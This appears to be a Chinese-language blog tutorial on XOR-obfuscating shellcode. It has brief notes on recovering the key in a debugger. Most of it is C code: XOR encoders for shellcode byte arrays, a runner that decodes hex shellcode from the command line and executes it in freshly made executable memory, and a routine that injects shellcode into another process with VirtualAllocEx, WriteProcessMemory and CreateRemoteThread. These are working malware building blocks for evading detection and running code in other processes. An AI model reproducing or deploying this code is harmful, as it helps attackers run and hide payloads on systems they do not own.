异或,加解密shellcode代码的简单分析方法。
#include <stdio.h> #include <Windows.h>
unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1";
int main(int argc, char* argv[]) { int password = 1025; unsigned char enShellCode[500]; unsigned char deShellCode[500]; int nLen = sizeof(buf)-1;
for (int i = 0; i<nLen; i++) { enShellCode[i] = buf[i] ^ password; printf("\\x%x", enShellCode[i]); }
printf("\n");
for (int i = 0; i<nLen; i++) { deShellCode[i] = enShellCode[i] ^ password; printf("\\x%x", deShellCode[i]); }
system("pause"); return 0; }
|
debug版本

release 版本,先找程序OEP,识别看,argc,argv参数,即可,vs2013 main函数特征 FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ??

优化的很厉害。

解密方式,寻找到加密后的字符串数据,然后找到异或密码,即可编写出解密程序,完成shellcode的还原。
#include <stdio.h> #include <Windows.h>
unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1";
int main(int argc, char* argv[]) {
unsigned char enShellCode[500]; int nLen = sizeof(buf) - 1;
for (int i = 0; i<nLen; i++) { buf[i] = buf[i] ^ 25; buf[i] = buf[i] ^ 3; enShellCode[i] = buf[i]; printf("\\x%x", enShellCode[i]); } system("pause"); return 0; }
|

如上的几种写法,再release模式下,会被优化成一句,所以达不到混淆作用。

另一个异或案例,加密后将其写入到一个文件中,下fopen()断点,尝试拦截。
#include <stdio.h> #include <Windows.h>
char ShellCode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C";
void encoder(char* input, unsigned char key) { int i = 0, len = 0; FILE * fp; unsigned char * output; len = strlen(input); output = (unsigned char *)malloc(len + 1);
for (i = 0; i<len; i++) output[i] = input[i] ^ key;
fp = fopen("shellcode.raw", "w+"); fprintf(fp, "\""); for (i = 0; i<len; i++) { fprintf(fp, "\\x%0.2x", output[i]); if ((i + 1) % 16 == 0) fprintf(fp, "\"\n\""); } fprintf(fp, "\";"); fclose(fp);
for (i = 0; i<len; i++) { printf("%0.2x ", output[i]); if ((i + 1) % 16 == 0) { printf("\n"); } } free(output); }
int main(int argc,char *argv[]) { encoder(ShellCode, 1233);
system("pause"); return 0; }
|
fopen调用了fsopen(),fsopen()同样可拦截。

ShellCode代码执行盒:
#include <stdio.h> #include <Windows.h>
int main(int argc, char *argv[]) { unsigned int char_in_hex;
char *shellcode = argv[1]; unsigned int iterations = strlen(shellcode);
unsigned int memory_allocation = strlen(shellcode) / 2;
for (unsigned int i = 0; i< iterations - 1; i++) { sscanf(shellcode + 2 * i, "%2X", &char_in_hex); shellcode[i] = (char)char_in_hex; }
void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE); memcpy(exec, shellcode, memory_allocation); DWORD ignore; VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore); (*(void(*)()) exec)();
return 0; }
|
ShellCode注入进程:
#include <stdio.h> #include <windows.h>
unsigned char ShellCode[] = "shellcode代码";
BOOL InjectShellCode(int Pid) { HANDLE Handle, remoteThread; PVOID remoteBuffer;
Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL); remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(Handle); }
int main(int argc, char *argv[]) { InjectShellCode(1024); return 0; }
|